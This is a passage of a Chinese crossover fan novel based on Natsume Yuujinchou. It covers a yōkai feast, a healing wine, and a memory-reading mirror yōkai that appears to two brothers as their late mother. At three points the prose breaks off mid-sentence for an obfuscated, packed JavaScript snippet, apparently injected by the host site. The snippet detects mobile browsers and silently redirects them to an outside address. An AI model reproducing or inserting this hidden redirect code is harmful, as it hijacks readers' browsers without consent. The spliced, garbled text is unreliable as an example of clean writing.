“怀里的家伙?”蓼牙看向夏目抱着的东西,迟疑了几秒,谨慎地走近些嗅了嗅,而后猛地退了两步,嫌弃地说道:“噫!术法的味道真恶心!” “怎么?你们干不掉它,要让我吃掉吗?”蓼牙又嫌弃地呸呸两声,“我可不吃这么恶心的东西……” 就在蓼牙的猜测越来越不靠谱时,猫咪老师自暴自弃地发出虚弱的声音,“喂,蓼牙你这家伙,少得意、啊~痛……” “嗯?” 蓼牙支起耳朵,又仔细嗅了嗅,突然吃惊地问道:“斑,你这家伙怎么变成这个样子了?!” 它直接凑上去,扒拉了一下猫咪老师,突然哈哈大笑起来。 “没、没想到哈哈哈哈,斑你这家伙竟然哈哈哈、竟然会被人封印在这么丑的陶俑里哈哈哈哈,还是猫形的陶俑哈哈哈哈哈……” 在山猫肆无忌惮的嘲笑里,猫咪老师恼羞成怒地挣扎起来。 看够了热闹的朔也终于大发善心制止了蓼牙,讲了下原委,而后问道:“你们妖怪应该有能治疗这种伤的办法吧?” 蓼牙点点头,“有一种胧草对这种伤口有用,不过这种草生长得很隐蔽,找起来有点麻烦。” 有办法就好,夏目松了口气。 “但像本大爷这么厉害的大妖怪,当然有更好的办法!” 蓼牙得意地昂起头,“我收藏了一种叫‘三日泉’的美酒,它不仅味道甘美,还对妖怪的各种伤口有奇效。” 朔也怀疑地问道:“真的这么有用?” “那当然!”蓼牙自信满满地保证道:“像这家伙的伤,喝完一杯,连睡三天,醒来时保证活蹦乱跳。” 朔也若有所思地点点头,“原来‘三日泉’是‘三日痊愈’的意思啊……”还挺有意思的。 他看向夏目,“你觉得怎么样?” 夏目看了一眼已经在疯狂流口水的猫咪老师,无奈地说道:“我只担心它会喝上瘾……” “呵,这家伙以前就经常偷喝我的酒!”蓼牙嫌弃地说道:“我会把酒藏在它永远找不到的地方,它想喝酒就只能来求我,哼!” 不管怎样,有了办法就是好事。 42.第四十二章 夜宴 * 蓼牙回去拿酒,房间里的氛围也比之前轻松了许多。 “上次都没看清,原来山猫这么可爱。”朔也满意地看了眼手里的牙齿,觉得这颗山猫牙都显得更可爱起来。 “它是‘对马山猫’,又叫‘对马豹猫’,和猞猁之类的山猫不一样,属于‘豹猫属’,只在这附近才有,是很稀有的生物。” 夏目和名取都看向了的场静司,名取尤其惊讶,“所以,的场,你很喜欢猫吗?” 的场静司弯起嘴角,“很难有人不喜欢猫吧?” 不,你喜欢的程度听上去像奇怪的“猫咪发烧友”。 名取假笑着,默默地在心里吐槽。 “咕咕咕~咕咕~” 几个人又一起看向朔也……的肚子。 朔也坦率地说道:“我饿了,你们呢?” 夏目知道猫咪老师的伤口可以痊愈后,一放松下来,顿时也觉得饿了。 他点点头,不好意思地说道:“我也有点饿。” 名取笑道:“那大家一起吃点东西吧!” “我来安排吧,就当是的场家对各位的赔礼。”的场静司微笑着起身,出了房间。 夏目看着他起身,只觉得这个人从刚刚进入这个房间开始,就和他之前见到的那个人完全不一样。 啊,不! 他看向朔也,好像是从朔也出现开始,这个人就发生了很大变化。 “怎么了?”朔也一脸莫名。 夏目压低声音问道:“这样,没问题吗?” 朔也顿时笑起来,“没关系的,静司先生说的不是客气话,而且他现在很高兴哦。” “诶?” 夏目完全没看出来,他只记得对方始终一脸淡漠微笑的样子,存在感和距离感一样鲜明。 “真的!名取先生应该也能看出来吧?” 名取看着朔也,若有所思地点点头。 的场静司在成为的场一门的首领后,对外表现出的形象变了很多,他之前一直以为这是必然的改变,但看到的场在朔也身边的样子,才意识到事实可能和他想的不太一样。 在朔也身边的的场静司,和他曾经认识的那个人差别不大……这是不是说明,朔也对的场有着超出一般的影响力呢? * 蓼牙很快就拿着酒回来了,看着房间里多出来的丰盛菜肴,它极满意地点点头,“没想到你们除妖师还挺讲礼数的嘛~这顿盛宴本大爷就笑纳了!” 朔也马上戳破了山猫的幻想。 “你想太多了,这是我们的晚餐。”朔也看了看它瞪得圆溜溜的眼睛,笑道:“最多只能给你分一部分。” 蓼牙不满地哼了一声,但还是幻化成少年的样子,坐到朔也旁边。 它把一个不起眼的小酒壶放到桌上,“喏,这就是‘三日泉’。” “这么少?你也太小气、啊~痛……” “要不是看在你这家伙混得太落魄的份上,连这点都没有!”蓼牙瞥了猫咪老师一眼,“说好了,你只能喝一杯,剩下的我得带回去。” “可恶!你说谁混得落魄、啊~痛……” 夏目抱紧为了尊严不停挣扎的猫咪老师,好奇地问道:“呃,你们认识很久了吗?” “嗯……”蓼牙回想了一会儿,“很久很久了,斑那时候都还没成为真正的大妖呢,不过稍有点妖力,就敢跑去我那儿偷酒喝,被我揍得尾巴都秃了。” “可恶的蓼牙!到底是谁揍谁!夏目,快帮我揍他、唔唔唔……” 夏目捂住猫咪老师气急败坏的嘴,无奈说道:“你这样只会更痛啊。” 蓼牙仔细看了夏目一会儿,突然恍然大悟道:“啊,你是夏目玲子的后人?” “诶?你认识我外婆?”夏目吃惊地问道。 “哟,你是玲子的孙子啊!”蓼牙了然,“那难怪斑会跟着你,它可是很喜欢玲子呢。” 在夏目惊诧、另几人八卦的视线里,蓼牙感叹道:“玲子不是妖怪太可惜了。” “夏目玲子的力量非常强大吗?”的场静司忽然问道。 蓼牙点点头,“虽然我没有和她比试过,但她确实很有强者的气魄。即便她没有征伐我们那片森林,我也听许多妖怪谈论过她。” “征伐?”夏目愣了一下,这还是他第一次听到妖怪把这个词和外婆联系起来。 “是啊,夏目玲子当时统领一方,就连斑这种家伙都成了她麾下的大将,听她驱使。” 听到这里,几个人已经觉得不太对劲了。 “据说她曾集结数百只强大的妖怪,在月圆之时夜巡领地,浓郁的妖气遮天蔽日仿佛没有尽头,她所到之处,所有妖怪都匍匐在地,供奉上最珍贵的宝物,但凡不从者都会被麾下的大妖无情吞噬,那阵势可谓是……” “好了。”朔也突然打断正沉浸在不知道是回忆还是幻想里的蓼牙,冲另外几人提议道:“我们先吃吧。” “喂!我还没说完呢!”蓼牙叉腰,不满地看着人类们。 没人理他,大家的注意力都放到了满桌的美味上。 “喂!”蓼牙很不甘心。 “行了。”朔也将一盘一看就是场静司特意准备的烤小鱼摆到蓼牙面前,“你的妖怪故事留着以后再讲吧。” 蓼牙不满,但蓼牙觉得烤小鱼很香,然后蓼牙决定只浅尝一口……蓼牙被烤小鱼征服。 朔也趁蓼牙沦陷在烤小鱼里的时候,凑近夏目小声说道:“我觉得你外婆的事,还是问丑猫比较靠谱。” 夏目看了看一旁喝完“三日泉”就睡得四仰八叉的猫咪老师,迟疑地点点头,他现在其实已经有点怀疑妖怪们的记忆力了。 “对了,夏目,我可是听说你今天做了很多危险的事。” “啊?”夏目有点懵。 “别装傻!”朔也严肃地看着他,“从旅馆三楼跳下去是怎么回事?还有,为什么要不自量力地给保镖挡箭?” “呃……”夏目差点被嘴里的茶碗蒸噎住,含糊地说道:“不是你想的那样……” “那是怎样?”朔也目光灼灼地盯着他。 夏目只觉得这种目光让自己无所遁形,只好讲起白天发生的事情。 * 另一边,的场静司和名取周一两个成年人的氛围就没有少年人那么亲密了。 “周一,你打算将夏目君培养成自己的助手吗?” 名取看了的场静司一眼,又看向正和朔也说着话的夏目,反问道:“铃木君以后会成为你的助手吗?” 的场静司笑了笑,“的场一门都这样认为。” “那你是怎么想的呢?” 名取向来不是那种强势的人,面对的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857154|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场静司就更谈不上是了,但现在他的追问却显得有些强硬。 的场静司对上他的视线,总是似笑非笑的神情此刻显得真实起来。 “朔也做他想做的事就好。” 虽然名取有些猜测,但真到听到的场静司这么说,依然很意外。 他露出温和的笑意,“我希望夏目也是这样。” “我明白了。”的场静司了然点头。 “夏目很温柔,但是个很有主见的孩子。”名取意有所指地说道:“想利用他的人,是不会得偿所愿的。” “这算是警告吗?”的场静司笑着问道。 名取垂下眼睛,“我的能力虽然一般,但也有想守护的人。” 的场静司看着他,真心实意地感叹道:“周一,你也找到同伴了呢。” 名取看向夏目的方向,那个少年会觉得他们是同伴吗? 不过,能被某个人需要,已经很值得庆幸了。 * “总之,当时的情况就是这样。” 夏目不好意思地说道:“因为很担心猫咪老师和名取先生,所以没想那么多,就跳下去了……” 朔也捂着额头只想叹气,“这件事确实是静司先生不对,明明可以和你好好说的……” “啊,是因为我那时很不信任的场先生吧。”夏目尴尬地笑着。 “不要总觉得是自己的错啊,夏目。”朔也不赞成地说道:“虽然从三楼跳下去还是太危险了,但你确实及时找到了那个咒术师。” “而且……”朔也看了看正和名取说话的的场静司,叹息道:“不能怪你,静司先生有时候确实很有‘反派’气质。” “就是!就是!”在一旁听得津津有味的蓼牙赶紧点了点头,声讨道:“的场家的除妖师在我们妖怪眼中可都是讨厌的家伙!” 朔也瞥了它一眼,“你来凑什么热闹?” “斑那家伙完全睡死过去了!”蓼牙理直气壮,“比起那两个除妖师,我还是觉得你们比较顺眼!” 朔也瞪着他,“我倒是差点忘了一件事,你有去见鹿神大人吗?” “呃,当、当然有去!” 蓼牙努力挺起胸膛,但四处游移的眼神出卖了他。 “呵!胆小鬼。”朔也毫不客气地嘲讽起来。 “哼,本大爷才不是胆小鬼!”蓼牙猛地站起身,咬着牙发誓道:“我、我这就去!” 说完不等几人反应,就自顾自地窜出窗外不见了踪影。 “竟然被吓跑了。”朔也无语道:“不过是去见昔日的朋友而已,真不知道它在害怕什么。” “近乡情怯吧。”名取笑着说道:“害怕朋友变了,也害怕自己变了。” 朔也想了想,说道:“还是妖怪的时间太富足了,是我的话,如果有想见的人,晚一秒相见都会觉得遗憾。” “真好啊……” 夏目看着朔也,有些羡慕他总是如此果决。 不过,想见的人? 夏目的脑海中依次浮现出塔子阿姨、滋叔叔,学校的朋友,还有八原的那些妖怪们…… 原来不知不觉中,他也有了这么多期待相见的人与妖呢。 * 月亮悬挂在窗外,初夏的夜风拂进室内,相聚的人们一起说笑着。 在这样的晚上,连夜色都如此温柔。 43.第四十三章 幻觉 * 初夏的阳光有些热烈,映照着河面泛起粼粼波光,铃木翔平从桥上路过的时候忍不住停下来多看了一会儿。 这段河的南岸紧挨着一座公园,小时候,他经常到这边来玩耍。 多年过去,沿河修建的散步路道被公园茂密的树林包裹,似乎连同幼时的记忆一起被掩盖了。 翔平看了看手机,距离去塾的时间还有会儿,他干脆回到河边,沿着记忆里的路往前走。 因为经常路过的关系,翔平本以为自己会和以前一样熟悉这里,但真的走近后,却感知到了无处不在的陌生,无论是长满青苔的石砖,还是变得更粗壮的树木,就连路边长椅的样子也和曾经的截然不同。 他慢慢走着,努力翻找着记忆深处的画面,希望能找出一点能和当下的场景对应的东西。 转过一道弯,翔平抬眼,发现不远处的长椅上坐着一个身影,他开始只是略扫了一眼,但仅仅只是这转瞬即逝的一眼,就让他生出一种熟悉感。 于是他又把视线挪了回去,越看越熟悉的侧影让他渐渐瞪大眼睛,一模一样的身形和气质,就连穿着打扮也与他印象中别无二致。 翔平不禁屏住呼吸,看着那个人转头,直直地向他望过来。 * 朔也走进学校附近的甜品店,看见哥哥翔平正坐在角落里发呆,不知道在想什么。 他买了两个冰淇淋,走过去,将其中一个递给翔平。 回过神的翔平有些局促,“啊,抱歉,应该我来买的……” “没关系。”朔也微笑起来,“很少有这样的机会呢。” 翔平不自在地移开了视线,一时不知道该如何接话。 自从朔也去的场家之后,兄弟俩几乎没有单独见过面,一般都是在一些特定的日子里,铃木慎吾会带着兄弟俩出去聚餐。 之前借着给家里设置结界的机会,兄弟俩的关系缓和了许多,但多年疏远造成的隔阂依然存在,让他们很难回到幼时亲密无间的样子。 朔也打量着翔平,问道:“哥哥最近还好吗?每天都要去塾里的话,会很辛苦吧?” “呃,还好。”翔平悄悄松了口气,“我已经退部了,不过是将之前部活的时间用来学习,差别不大。” 朔也点点头,他听爸爸说过翔平的升学目标,想就读一所地方大学的计算机科学,以后从事游戏或软件开发相关的工作。 “朔也最近还好吗?” “嗯,我很好,高一的压力还没那么大。” 朔也看着翔平,直接问道:“是发生了什么事吗?” 虽然平时翔平偶尔也会给他发信息,但多半都有种努力关心弟弟又不知如何拉近距离的笨拙,只是昨天约他见面的信息却简洁而急迫,把朔也吓了一跳,还特意去询问了父亲,知道翔平安全他才稍微放心了些。 “我……”翔平张了张嘴,又纠结了好一会儿,才极小声地说道:“我、昨天见到了妈妈。” 朔也睁大眼睛,迟疑了几秒才问道:“长相很相似的人?” 翔平紧皱着眉,显然十分困扰,“不是,就是妈妈。” 这当然是不可能发生的事,朔也瞬间想到,“是妖怪?” “你知道我看不见那些东西!” 翔平急躁地反驳着。 “但我昨天亲眼看见妈妈就坐在河边,你还记得吗?就是那个河边的公园,我们小时候经常去的地方!” 翔平的反应让朔也更加确信那是妖怪在作祟。 “有些妖怪会在特定的情况下让特定的人看见。” 朔也看着翔平的眼睛,认真说道:“哥哥也是有所怀疑才来找我的,不是吗?” 在朔也平静的目光中,翔平慢慢冷静下来,他狼狈地把脸转向一边,低声说道:“是,我知道那不是真的,我只是……确信那就是妈妈……” 这样的说法非常矛盾,但朔也相信他这么说一定是有原因的。 母亲去世的时候,翔平虽然只有五岁,但已经记事了,他对母亲的记忆比朔也多太多太多,甚至朔也许多关于母亲的回忆都是由翔平二次塑造的。 如果翔平觉得那个非人之物就是妈妈,一定是对方给他营造了足够真实的幻象。 “哥哥,带我去那个地方看看吧。” * 说起来可能有点怪异,朔也幼时的记忆非常模糊,即便用“一片空白”来形容似乎也不算过分。 又或者说,是那些独自应付妖怪的记忆太过深刻,以至于朔也回想起来时,只有和妖怪的事情是清晰的,其他事情都只剩下模糊的印象,直到他去的场家之后,后续的那些记忆才明确而连贯起来。 对于妈妈,朔也印象最清晰的是照片上的身影,以及一小段家庭录像,那是爸爸偶然录下的。 录像带中的妈妈抱着幼时的朔也,和翔平一起在院子里的野餐垫上晒太阳。 那时的妈妈已经非常消瘦,在阳光下苍白得近乎透明,但她笑得非常开心,看向孩子们的眼神十分温柔,那样明媚开朗的神情,根本不像是病重的人会拥有的。 在那之后没多久,妈妈就离开了,没能留下更多的影像。 朔也有段时间曾反复观看那个录像带,以至于里面的内容成了他对妈妈最深刻的记忆。 “就是那里!”翔平抬手指向河对岸的公园,他看向朔也,“我们小时候经常去那边玩,还记得吗?” 朔也已经完全不记得了。 他只记得自己曾在那个公园里见过一个喜欢恐吓人类孩子的妖怪,别的孩子都看不见它,只有朔也可以,从那以后他就再也没有去过那边了。 朔也跟着翔平下到河边,然后沿着散步路道一路往前,在一个拐弯的地方,翔平停了下来,他看向朔也,犹豫不定,“她就在前面,我……” 朔也牵住了翔平的手,他冲惊讶的翔平笑了笑,“这样就像我们小时候一样。” 翔平愣了一会儿,然后像要掩饰什么一般将脸转向另一边。 “我们过去吧。” * 转过弯,朔也看向路边的长椅,那里确实如翔平所说,坐着一个熟悉的身影。 “朔也,你看见了吗?”翔平看向朔也,眼里满是期待。 朔也看着那个身影,点点头,“嗯。” “你和她说说话就知道了!” 翔平的神情一下子变得明亮起来,他拉着朔也快走几步,来到长椅旁边。 “妈妈,您看我带谁来了!” 朔也看见长椅上的年轻女人冲他露出温柔的微笑。 “啊,是朔也啊,已经长这么大了呢!” 这是那个录像带里正处于生命最后阶段的妈妈,消瘦、苍白,但依然温柔开朗。 “妈妈,你说说我们小时候的事吧?”翔平期待地问着,希望借此向朔也证明他的猜测。 “你们小时候的趣事可多呢!”女人笑得很开心,“记得有一次,你说什么都要和朔也一起睡,结果第二天早上一起床就发现被子被尿湿了,你坚持说是朔也尿的,但其实,朔也一整晚都穿着尿不湿哦!” “呃,妈妈,这种糗事就不要说啦!”翔平微红着脸,“您说说朔也的事情吧。” “朔也啊……” 女人看着朔也,微笑着回忆道:“那还是朔也很小很小的时候……” “那天天气很好,阳光照在身上暖暖的,我急着去晾衣服,于是将朔也放在外廊上晒太阳。” “朔也从小就很安静,不哭不闹地,抓着自己的小脚就可以一个人玩很久。” “但那天,他没过一会儿就突然哭了起来,这可把我吓坏了,还以为他是被虫子咬了或者不舒服了。” “结果我急匆匆地跑过去看他的时候,他用湿漉漉的眼睛看着我,很委屈地说道。” “妈妈,不要走。” 女人仿佛陷入了回忆之中,她的脸上露出幸福与悲伤交织的复杂神情。 “多么让人怜爱的孩子啊,只是看着他哭泣,我的心都要碎了,但是……” 她抬头对上朔也的目光,眼睛里有闪动的水光,“那一刻,我又觉得非常非常幸福,这么依赖着我的,是我的孩子啊。” 朔也移开了视线,他的手紧紧地拽着,努力克制着翻涌的情绪。 “朔也?” 翔平担心地看着他。 朔也拿出一个御守递给翔平,叮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864583|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘱道:“拿着这个,不要和它靠太近,我去这附近看看。” “诶?朔也!” 翔平看着朔也离开,无措地看向长椅上的女人。 女人露出无奈又包容的笑容,安慰道:“朔也就是这样直率的性子。” 说着她不知想到什么,忽然笑出声来,“朔也小的时候经常像个小大人一样,我和慎吾都觉得他才更适合当哥哥呢。” “妈妈!”翔平忍不住抱怨道:“就不能说点我的好话吗?” * 朔也在附近看了一圈,一切都很正常,仅有的一点点妖气,也只出现在那个长椅附近。 现在可以确定的是,从妖气来看的话,这个妖怪并不如何强大。 但这并不意味着这个妖怪不危险,恰恰相反,这种擅长迷惑人心的妖怪从危险度上来说,比每个月袭击静司先生的那只大妖有过之而无不及。 朔也回到长椅附近的时候,翔平还在和“妈妈”聊天,不知道说到了什么,他笑得特别开心。 “哥哥,我们该走了。” “诶?现在就走吗?”翔平惊讶地看向他。 朔也点点头,坚决地说道:“走吧,我有话和你说。” “好吧。”翔平站起身,依依不舍地看向女人,“妈妈,我明天再来看你。” 女人微笑着看着兄弟俩,“去吧,两个人得好好牵着手,不许吵架哦。” “嗯!” 翔平走向朔也,牵住他的手,又冲长椅上的女人摆了摆手。 朔也一直没吭声,任翔平牵着他走到桥上,才开口问道:“御守还在吗?” “啊,在的。” 翔平从衣兜里掏出御守给朔也看了看。 朔也点点头,嘱咐道:“记得一直随身带着,另外,最近别来这边了,我会想办法解决这件事。” “解决?”翔平皱眉,盯着朔也,“你不相信那是妈妈?” “我感觉到了妖气。” “那、那也不一定是因为妈妈的缘故,而且……”翔平纠结地说道:“你不是能看见那些东西吗?但你只看见了妈妈对不对?也许、也许她就是妈妈的魂魄,妈妈太想我们了,所以魂魄回来了!” 朔也暗暗叹了口气,他看向翔平,“你看到的妈妈是什么样子的?” 翔平愣了一下,“很年轻……” “身形、穿着、头发、首饰,都是怎样的?” “呃,很纤细,穿着淡绿色的连衣裙,黑色的长发扎成一个发髻,戴着一串珍珠项链……” “你知道我看到的‘妈妈’是什么样子吗?” “什么?” “录像带里的样子。” 录像带里的妈妈,因为病重长期住院,不仅变得消瘦,为了方便打理,将长发剪成了齐耳的短发。 拍摄录像带的那天,是医生看妈妈情况比较稳定所以特别允许的回家修养日,她穿着宽松的家居服和羊毛开衫,手背上还贴着方便治疗的留置针。 翔平沉默了。 “这是一个能够窥视人类记忆和情感的妖怪,它像一面镜子,看到什么就按照你的记忆捏出什么,骗取你的信任和依恋。” 翔平依然很不甘心,“骗取我的信任,然后呢?” “然后吞噬你。”朔也平淡地说道:“可能只是吞噬你的记忆,或者你对妈妈的思念,一般更大的概率,是吞噬你整个人。” “还有一种可能,它是对我心存怨恨的妖怪,不敢来报复我,所以选择伤害你……” “别说了!”翔平低着头,整个人紧绷起来。 朔也转头看向一边,“就算是为了爸爸,最近别再接近它了。” 接着他看了看天色,平静地说道:“快到塾开课的时间了吧,我先回去了。” 朔也走了几步,听到后面传来的声音,“朔也,如果你找到了解决的办法,能让我去见她最后一次吗?” 他侧身看向几步之外的兄长,点点头。 “朔也,对不起!” 朔也摆了摆手。 他转身继续向前走,视线越过来往的人群,看向远处的天空。 有那么一瞬间,他似乎被妖怪迷惑了。 44.第四十四章 谒梦 * 的场静司很少看到朔也这么心不在焉,这孩子的性格理性果断,即使是让人为难的事情,他也能迅速做出判断,不会耗费太多心神。 但这次好像不太一样,是和他那位兄长的见面很不愉快吗? 的场静司暗自猜测着。 他对朔也的事都有很强的掌控欲,但唯独对朔也和家人之间的事情十分克制,一直处于只要朔也不说他绝对不会过问的状态。 毕竟的场家想过继朔也为养子的心思几乎人人皆知,如果他再表现出点什么,那就相当于直接对铃木家施压了。 晚餐过后,的场静司处理完事务,一直等到深夜,就在他怀疑朔也不会来找他的时候,门终于被敲响了。 拉开门走进来的朔也依然是心事重重的样子,他坐在的场静司对面,盯着面前的牛奶看了好一会儿,才回过神。 “抱歉,静司先生,我走神了。” “没关系。” 的场静司根本不在意这种细节,或者说,只要朔也在遇到麻烦的时候会来找他,就够了。 “我今天碰到了一个会窥视人类记忆的妖怪。” 朔也将白天发生的事讲了一些,问道:“静司先生,你听说过这种妖怪吗?” “类似的妖怪,我确实听说过。”的场静司点点头,若有所思地说道:“如果你们遇到的是我知道的那只,那还真是了不得呢。” “诶?!”朔也瞪大眼睛,就连静司先生也觉得了不得的妖怪,会有多强大呢? “它很危险吗?” “那倒不是。” 的场静司站起身,从身后的书架上翻出一本破旧的古籍,翻到某一页递给朔也。 “古中国有一种叫‘谒梦’的妖怪,据说它由一面青铜灵镜幻化而成,那面灵境曾作为人类祭祀的礼器,用来和神明沟通,它也因此获得了一部分神明的力量,能够映照出人类内心的渴望。” 朔也看着古籍中的记载,这是后世的人整理的一位僧侣的笔记。 这位奈良时代的僧侣曾作为遣唐使前往唐国学习,期间听闻了许多神鬼之事,于是记录了下来,其中就有这个被称为“谒梦”的妖怪。 传言唐国的某位方士为了讨好痛失所爱的皇帝,利用谒梦让皇帝与心爱的妃子相见,只是谒梦所化的妃子很快被皇帝识破,皇帝大怒,方士被处死,而谒梦则在即将被杀死的时候化为术师所思念的人,因此逃过一劫。 看了会儿古籍,朔也不禁嘀咕道:“这位僧侣是在写志怪小说吗?” 的场静司笑了起来,“这样不是更有趣么?” 朔也合上古籍,小心翼翼地放到一边。 “静司先生,上面说谒梦以情为食,是什么意思呢?” “啊,关于谒梦的传言很多,但总的来说,大家都认为它是那种不会伤害人类的妖怪。它化为人类渴望相见的人,在人们的渴望实现时,吸取人产生的情绪和情感。” “这样啊……但我今天没感觉到那个妖怪有什么动作,它是怎么吸取的呢?” “谒梦能悄无声息地窥视人的内心,吸取时大概也用了同样的方法。”的场静司猜测道。 朔也点点头,若有所思。 “这样的妖怪……不是很危险才对吗?毕竟能够以假乱真,被迷惑的人如果深陷其中……会很糟糕吧?” “但它非常容易被人识破。” 的场静司解释道:“你的兄长会被迷惑,是因为和他一起见到那个妖怪的是你,你们思念着同一个人,所以妖怪的幻化是统一的。” “但如果和他同时看见妖怪的是另一个陌生人,妖怪在同一场景下扮演两个不同的人,很快就会被识破的。” 确实如此。 朔也心想,他和翔平一起去,正好成为了一种巧合…… “静司先生,有没有办法可以赶走它?” 的场静司想了想,“虽然有,但其实放任不管也可以,谒梦不会在同一个地方停留太久,它吸食了足够的情绪就会离开。”他微笑着评价道:“是少有的能够克制本能欲望的妖怪。” “放任不管吗……”朔也不自觉地蹙眉。 的场静司看了他一会儿,问道:“朔也在烦恼什么呢?因为被妖怪窥视了内心,所以觉得不安吗?” 他之前听朔也讲述的时候,就觉得对方有意识地隐瞒了一些东西,这让他很在意。 朔也迟疑了许久,终于妥协似的垂下眼睛。 “谒梦讲述了一段我幼时和母亲在一起的场景,但是……对母亲,我没什么记忆……我不知道那段记忆是哪里来的……但它非常非常真实……” 在那个瞬间,他几乎以为那就是真实发生过的事情。 而最可怕的是,他也确实希望那就是真的。 他希望那就是自己和妈妈在一起时的记忆,不是录像带的第三视角,不是哥哥口中的转述,而是自己眼中的妈妈…… 的场静司静静地看着朔也,对方的很多情绪都藏了起来,但他依然察觉到了朔也渴望拥有那段记忆的纠结。 朔也到的场家时已经十岁了,他会在见到自己的母亲时露出羡慕的神情,但从没对他人提及过已过世的铃木夫人。 的场静司曾以为这是因为铃木夫人病逝时朔也还太小,没来得及和母亲相处太久,所以对母亲的思念不会那么深刻,但此刻,他突然意识到事实并非如此。 朔也不提及,是因为他没法提及,和母亲有关的记忆少得可怜,他就算想向别人倾诉,也没有可供承载的媒介。 原来,是无法诉之于口的思念吗…… 后知后觉地察觉到这一点的的场静司,只觉得心仿佛被什么重击了一下。 “朔也,谒梦不会故意捏造假的意象来迷惑人,它呈现出来的东西,一定是你脑海里拥有的。” 朔也抬头对上的场静司的视线,看着他如承诺般说道:“你本就拥有那段记忆,总会想起来的。” 朔也几乎被说服了,他点了点头,对方伸过来的手在他头上留下温暖的重量。 * 为了确定那个妖怪确实是谒梦,第二天,的场静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870217|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司和朔也一起去那个地方看了看。 在即将见到妖怪前,的场静司看向身边的朔也,“不想过去的话就在这里等我吧。” “一起吧。”朔也笑了笑,“这种事情,回避也无济于事。” 的场静司弯起嘴角,朔也总是这样,很难被什么东西左右意志。 两人转过弯,一起看向河边的长椅。 朔也看见的依然是昨天见过的“妈妈”。 “朔也来了呀,过来陪我说说话吧。”她微笑着冲朔也打过招呼,而后看向一旁的的场静司,熟稔地说道:“静司,你怎么过来这边了?” 朔也终于明白为什么这个妖怪容易被识破了。 虽然妖怪还是录像带中母亲的形象,但她和静司先生说话的神情和语气分明不是“妈妈”会有的,而且妈妈也根本不会认识静司先生,更不会表现得如此熟悉。 此刻,在静司先生眼中,这个妖怪会是谁呢? 朔也看向的场静司,却见对方正定定地看向妖怪的方向,尽管他面无表情,但朔也能感觉到,他非常惊讶。 一个和静司先生非常熟悉,让他渴望相见、但又会在相见时深感诧异的人,会是谁呢? 朔也在的场家的人里搜寻了一圈,突然想到一个他只听说过但从未见过的的场家成员,会是那位早早离家的史信小姐吗? “竟然能够窥视到这种程度……”的场静司从初见时的震惊中回神,不禁感叹道:“看来你确实就是谒梦了。” 随着的场静司说出妖怪的名字,原本还是人形的妖怪突然凭空消失,凝聚成一滴如墨滴般的东西,紧接着,墨滴落下,在无形的水中袅袅晕开,化成一团不断流动的、半透明的青白色雾气,影影绰绰的影子被笼罩在雾气中,不断变幻着,让人看不真切,如幻觉一般。 妈妈的样子不见了,而这就是谒梦真正的样子。 朔也看着这样的谒梦,松了口气,有种重新踩回踏实地面的感觉,却又下意识地觉得有些不舍。 “朔也,要让它现在离开吗?” 朔也摇了摇头,“我答应让哥哥见它最后一次。” “那你之后再决定吧。” 的场静司看向一直在原地乖乖待着的妖怪,笑道:“它可是很少见的妖怪呢,若不是无法和人沟通,大概早被术师俘获利用了。” “静司先生,虽然它听不懂,但当着它的面这么说也很奇怪啊。”语气还这么遗憾,是因为这样的妖怪的场家也无法利用吗?朔也无语叹气。 “哦呀,看来朔也并不厌恶它?” 朔也看着形态奇异的谒梦,无奈地说道:“如果只是映照出人的渴望的话,那不就是和镜子一样么,因为不想被映照就迁怒于镜子,总觉得这样会显得自己很无能。” 的场静司笑了起来,“朔也对自己还真是,一如既往的严苛。” 朔也撇撇嘴,看了看的场静司,很想问他刚刚看见的是谁,但犹豫了一会儿,终究还是没开口。 无论那是谁,对静司先生来说,应该都是非常重要的人吧。 45.第四十五章 慰藉 * 夏目又在校门口看到了朔也。 昨晚朔也给他打过电话约他见面,但没想到对方这么早就过来了。 “抱歉,朔也,久等了!” “啊,是我来早了。”朔也看了看夏目身后,“那只丑猫呢?身为保镖它也太怠惰了吧。” “喂!臭小鬼!”一个硕大的猫头突然从路边的灌木林里钻了出来,嚣张地质问道:“你来做什么?给本大爷上供美酒吗?” 朔也瞥了它一眼,嗤笑一声,“要是你愿意再捱上一箭,我倒是不介意找蓼牙来看看热闹。” 猫咪老师顿时想起不久前被蓼牙那家伙肆意嘲笑的耻辱,怒火涌上心头,猛地从灌木丛里跳了出来,准备给朔也一个头槌,但它刚跳到半空就被夏目眼疾手快地截住。 “哼!的场家的臭小鬼!唔唔唔……” 看着被迫禁言的猫咪老师,朔也冲它得意地龇了龇牙,而后看向夏目,“看来它确实痊愈了。” “哈哈是的!”夏目笑道:“猫咪老师睡觉那三天是我觉得最安静的三天。” “唔唔唔、唔唔——” 